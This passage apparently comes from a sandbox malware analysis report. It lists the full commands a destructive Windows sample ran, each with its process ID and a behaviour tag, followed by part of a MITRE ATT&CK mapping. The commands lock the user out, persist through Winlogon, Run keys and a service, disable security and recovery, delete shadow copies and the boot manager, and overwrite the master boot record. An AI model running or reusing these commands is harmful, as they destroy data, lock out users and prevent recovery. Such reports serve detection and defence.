reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangePassword /t REG_DWORD /d 1 /f
1⤵
PID:1232

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogoff /t REG_DWORD /d 1 /f
1⤵
PID:3144

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v HideFastUserSwitching /t REG_DWORD /d 1 /f
1⤵
PID:4920

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f
1⤵
PID:4392

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "AUOptions" /t REG_DWORD /d 1 /f
1⤵
PID:4836

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
1⤵
PID:1732

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v "fAllowToGetHelp" /t REG_DWORD /d 0 /f
1⤵
PID:4088

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 1 /f
1⤵
PID:2464

C:\Windows\system32\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v "DisableMSI" /t REG_DWORD /d 2 /f
1⤵
PID:752

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWindowsInstaller" /t REG_DWORD /d 1 /f
1⤵
PID:3316

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f
1⤵
PID:2068

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f
1⤵
PID:4600

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
1⤵
- Modifies visibility of hidden/system files in Explorer
PID:3480

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideClock /t REG_DWORD /d 1 /f
1⤵
PID:2848

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
1⤵
PID:1364

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
1⤵
PID:1140

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\DWM" /v EnableAeroPeek /t REG_DWORD /d 0 /f
1⤵
PID:4280

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
1⤵
- Modifies WinLogon for persistence
PID:3524

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
1⤵
PID:2792

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDisplaySettingsPage /t REG_DWORD /d 1 /f
1⤵
PID:540

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 0x03ffffff /f
1⤵
PID:5036

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
1⤵
PID:3196

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoTrayItemsDisplay /t REG_DWORD /d 1 /f
1⤵
PID:2608

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Windows" /v ErrorMode /t REG_DWORD /d 2 /f
1⤵
PID:4888

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity /t REG_DWORD /d 0 /f
1⤵
PID:1556

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\CredentialGuard" /v Enabled /t REG_DWORD /d 0 /f
1⤵
PID:2244

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled /t REG_DWORD /d 0 /f
1⤵
PID:4100

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\disk" /v Start /t REG_DWORD /d 4 /f
1⤵
PID:4596

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\ACPI" /v Start /t REG_DWORD /d 4 /f
1⤵
PID:4244

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags" /v DisablePCA /t REG_DWORD /d 1 /f
1⤵
PID:4288

C:\Windows\System32\Wbem\WMIC.exe
wmic nic where "NetEnabled=true" call Disable
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1400

C:\Windows\system32\sc.exe
sc stop WerSvc
1⤵
PID:3712

C:\Windows\system32\sc.exe
sc config WerSvc start= disabled
1⤵
- Launches sc.exe
PID:3920

C:\Windows\system32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting" /v Disabled /t REG_DWORD /d 1 /f
1⤵
PID:3220

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /d C:
1⤵
PID:3124

C:\Windows\system32\fsutil.exe
fsutil volume diskfree C:
1⤵
PID:4516

C:\Windows\system32\bcdedit.exe
bcdedit /set hypervisorlaunchtype off
1⤵
- Modifies boot configuration data using bcdedit
PID:416

C:\Windows\system32\sc.exe
sc create "WinUpdateHelper" binPath= "cmd /c start C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" start= auto
1⤵
PID:1368

C:\Windows\system32\sethc.exe
sethc.exe 251
1⤵
PID:4440

C:\Windows\system32\reg.exe
reg add "HKCU\AppEvents\Schemes" /ve /t REG_SZ /d ".None" /f
1⤵
PID:1772

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemHealth" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Filesecurity.bat" /f
1⤵
- Adds Run key to start application
PID:4872

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f
1⤵
PID:2044

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout" /v "Scancode Map" /t REG_BINARY /d 00000000000000000300000000005BE000005CE000000000 /f
1⤵
PID:4384

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:1944

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:1664

C:\Windows\system32\ReAgentc.exe
reagentc /disable
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:2256

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
1⤵
- Interacts with shadow copies
PID:3148

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
1⤵
PID:3900

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
1⤵
PID:2192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "$drive = New-Object System.IO.FileStream '\\.\PhysicalDrive0', 'Open', 'Write', 'ReadWrite'; $zero = New-Object Byte[] 512; $drive.Write($zero, 0, $zero.Length); $drive.Close()"
1⤵
- Command and Scripting Interpreter: PowerShell
- Writes to the Master Boot Record (MBR)
- Suspicious behavior: EnumeratesProcesses
PID:3776

C:\Windows\system32\bcdedit.exe
bcdedit /deletevalue {current} safeboot
1⤵
- Modifies boot configuration data using bcdedit
PID:4068

C:\Windows\system32\bcdedit.exe
bcdedit /deletevalue {default} safeboot
1⤵
- Modifies boot configuration data using bcdedit
PID:2104

C:\Windows\system32\bcdedit.exe
bcdedit /set {globalsettings} advancedoptions false
1⤵
- Modifies boot configuration data using bcdedit
PID:3620

C:\Windows\system32\bcdedit.exe
bcdedit /set {bootmgr} displaybootmenu no
1⤵
- Modifies boot configuration data using bcdedit
PID:644

C:\Windows\system32\bcdedit.exe
bcdedit /timeout 0
1⤵
- Modifies boot configuration data using bcdedit
PID:2424

C:\Windows\system32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Configuration Manager" /v "LastKnownGood" /t REG_DWORD /d 0 /f
1⤵
PID:472

C:\Windows\system32\sc.exe
sc stop SDRSVC
1⤵
- Launches sc.exe
PID:1304

C:\Windows\system32\sc.exe
sc config SDRSVC start= disabled
1⤵
PID:3932

C:\Windows\system32\bcdedit.exe
bcdedit /set nx AlwaysOff
1⤵
- Modifies boot configuration data using bcdedit
PID:3772

C:\Windows\system32\bcdedit.exe
bcdedit /delete {bootmgr}
1⤵
- Modifies boot configuration data using bcdedit
PID:640

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32 /r /d y
1⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2132

C:\Windows\explorer.exe
explorer.exe
1⤵
PID:6084

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:5512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Netsh Helper DLL

T1546.007

Power Settings

T1653

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry